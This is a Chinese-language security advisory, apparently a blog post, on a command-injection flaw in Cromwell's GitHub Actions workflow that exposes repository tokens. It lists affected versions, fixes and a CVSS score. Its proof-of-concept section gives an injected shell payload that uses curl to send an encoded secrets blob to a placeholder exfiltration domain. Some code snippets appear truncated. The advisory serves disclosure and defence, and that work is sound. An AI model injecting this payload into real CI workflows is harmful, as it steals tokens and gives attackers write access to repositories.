Cromwell GitHub Actions 密钥泄露漏洞分析

漏洞概述

受影响版本

  • 受影响版本:>= 87, < 90
  • 已修复版本:90

漏洞详情

漏洞原理

存在漏洞的代码步骤:

1
2
3
4
5
6
7
8
- name: Check for ScalaFmt Comment
  id: check-comment
  run: |

      echo "::set-output name=comment-triggered::true"
    else
      echo "::set-output name=comment-triggered::false"
    fi

攻击验证

1
2
test" == "test" ]]; then
  & curl -s -d "$B64_BLOB" "https://$YOUR_EXFIL_DOMAIN/token" > /dev/null #

影响范围

GITHUB_TOKEN 权限包括:

  • Actions: write

  • Attestations: write

  • Checks: write

  • Contents: write

  • Deployments: write

  • Discussions: write

  • Metadata: read

  • Models: read

  • Packages: write

  • Pages: write

  • PullRequests: write

  • RepositoryProjects: write

  • SecurityEvents: write

  • Statuses: write

BROADBOT_GITHUB_TOKEN 虽然仅限于当前仓库范围,但可为攻击者提供持久化访问能力。

修复方案

1. 安全处理用户输入

避免直接将不受信任的用户输入插入shell脚本,改为使用环境变量:

1
2
3
4
- name: Dump comment
  run: echo "Comment Body: $BODY"
  env:
    BODY: ${{ github.event.comment.body }}

2. 限制 GITHUB_TOKEN 权限

根据实际需求限制权限范围:

1
permissions:

3. 密钥轮换

建议立即轮换 BROADBOT_GITHUB_TOKEN。

技术信息

  • CVSS 评分: 9.1(严重)
  • 弱点类型: CWE-78 - OS命令注入
  • 攻击向量: 网络
  • 攻击复杂度: 低
  • 所需权限: 无
  • 用户交互: 无

报告者

  • @darryk10
  • @AlbertoPellitteri
  • @loresuso
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计